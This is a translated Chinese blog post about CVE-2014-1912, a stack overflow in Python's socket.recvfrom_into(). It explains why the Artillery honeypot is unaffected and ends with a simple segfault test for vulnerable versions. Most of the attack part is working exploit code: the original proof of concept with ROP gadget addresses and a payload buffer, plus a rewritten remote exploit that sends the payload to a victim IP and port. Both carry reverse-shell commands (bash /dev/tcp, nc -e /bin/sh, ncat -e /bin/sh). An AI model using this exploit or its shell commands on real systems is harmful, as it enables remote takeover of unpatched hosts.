Python socket.recvfrom_info()函数中的远程代码执行漏洞
最近,pastebin上发布了一个exploit,是关于Python 2.7和3.x版本中的socket.recvfrom_into()函数中一个远程代码执行漏洞(栈溢出)的PoC。
(有些地方pastebin.com可能被墙了,为了方便,译者把它拷贝到文章里。)原exploit如下:
#!/usr/bin/env python''' # Exploit Title: python socket.recvfrom_into() remote buffer overflow # Date: 21/02/2014 # Exploit Author: @sha0coder # Vendor Homepage: python.org # Version: python2.7 and python3 # Tested on: linux 32bit + python2.7 # CVE : CVE-2014-1912 socket.recvfrom_into() remote buffer overflow Proof of concept by @sha0coder With NX evasion! (gdb) x/i $eip => 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol 0x817bb2b: test BYTE PTR [eax+0x55],0x40 0x817bb2f: jne 0x817bb38 --> ... 0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again 0x817bb3e: test eax,eax 0x817bb40: jne 0x817bb58 --> ... 0x817bb58: mov DWORD PTR [esp],ebx <---- ebx points to the beginning of the buffer [trash]||shell cmd[null byte] 0x817bb5b: call eax <----- indirect fucktion call ;) will be redirected to system() '''import structdef off(o): return struct.pack('L',o)''' rop = { 'pop eax': off(0x80795ac), 'call eax': off(0x817bb5b), 'xor eax': off(0x8061379), 'mov [eax], edx': off(0x8078cf6), 'xor edx, edx': off(0x80a60d1), } '''plt = { 'system': off(0x805b7e0),}#addr2null = off(0x11111111)ebx = 0xb7ae7908 # points to the begining of the buff eax = ebx eax2 = ebx+20padd2 = 'X'*(144)padd1 = 'Y'*(8) #system_command = 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'#system_command = 'nc -e /bin/sh 127.0.0.1 1337'system_command = 'ncat -e /bin/sh 127.0.0.1 1337'''' +------------+------------------+ +--------------------+ | | | | | V | | | V '''buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 + plt['system'] + '||'+system_command+'\x00' # thanks python strings ;)print 'buf
该exploit发布于一月份,并且当时就已经被修复了(http://bugs.python.org/issue20246)。不过这里要说的是,虽然我们的Artillery用Python编写,而且用到了Python的SocketServer()函数,而SocketServer()函数又用到了Python中的socket模块,但幸运的是,Artillery并没有被这次的漏洞波及,纠其原因还是在于Artillery的设计。在创建Artillery时我们实际上并没有打算用它来接收任何数据,只是accept一个socket连接,之后通过该连接发送数据。
Artillery 中的相关代码如下:
(https://github.com/trustedsec/artillery/blob/master/src/honeypot.py)
def setup(self): # hehe send random length garbage to the attacker length = random.randint(5, 30000) # fake_string = random number between 5 and 30,000 then os.urandom the command back fake_string = os.urandom(int(length)) # try the actual sending and banning try: self.request.send(fake_string) ##### <snipped some of the non-relevant code here> ##### self.request.close()
如你所见,我们基于(5,30000)生成了一个随机字符串,通过连接发送出去,之后断开连接,并没有实际接收数据,因此也没有调用过socket.recvfrom_into()函数。通过分析SocketServer()函数可以发现,这个函数甚至根本没用到socket.recvfrom_into()函数,因此Artillery才没有被这次的漏洞波及。将该程序设计为从来不从攻击者那里接收数据,是基于其特殊的应用场景,使其从根本上杜绝了因socket或SocketServer的问题而产生的漏洞。
原exploit有些问题,以下是根据该PoC重写的RCE版本(需要注意的是,代码中的rop变量没有整合到重写的exploit中,读者可以通过修改buff变量将该NX bypass合并进来):
import struct import socket import sys def off(o): return struct.pack('L',o) ''' rop = { 'pop eax': off(0x80795ac), 'call eax': off(0x817bb5b), 'xor eax': off(0x8061379), 'mov [eax], edx': off(0x8078cf6), 'xor edx, edx': off(0x80a60d1), } ''' plt = { 'system': off(0x805b7e0), } #addr2null = off(0x11111111) ebx = 0xb7ae7908 eax = ebx eax2 = ebx+20 padd2 = 'X'*(144) padd1 = 'Y'*(8) system_command = 'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1' buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 + plt['system'] + '||'+system_command+'\x00' try: ip = sys.argv[1] port = int(sys.argv[2]) print "[*] Python 2.x/3.x Remote Code Execution in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him." print "[*] Quick rewrite: Dave Kennedy @ TrustedSec" print "[*] Sending the exploit to %s on port %s" print "[*] If successful, a shell will be listening on port 1337 on the remote victim" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) # data = s.recv(512) s.send(buff) s.close() except IndexError: print "Python 2.x/3.x Remote Code Execution (NX bypass) in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him" print "Quick rewrite by: Dave Kennedy @ TrustedSec" print "Usage: python exploit.py <victim_ipaddress> <victim_port>"
代码就是这样的。尽管recvfrom_into()函数较少使用,但仍存在风险,因为也许恰好很多应用程序都使用了这个函数。感谢@sha0coder写了这么棒的PoC。如果读者要测试正在使用的Python版本是否存在该漏洞,可以创建一个简单的test.py脚本,输入以下内容:
import socket r, w = socket.socketpair() w.send(b'X' * 1024) r.recvfrom_into(bytearray(), 1024)
在命令行运行 python test.py,如果返回Segmentation fault,那么恭喜你中枪了,赶紧更新你的Python吧!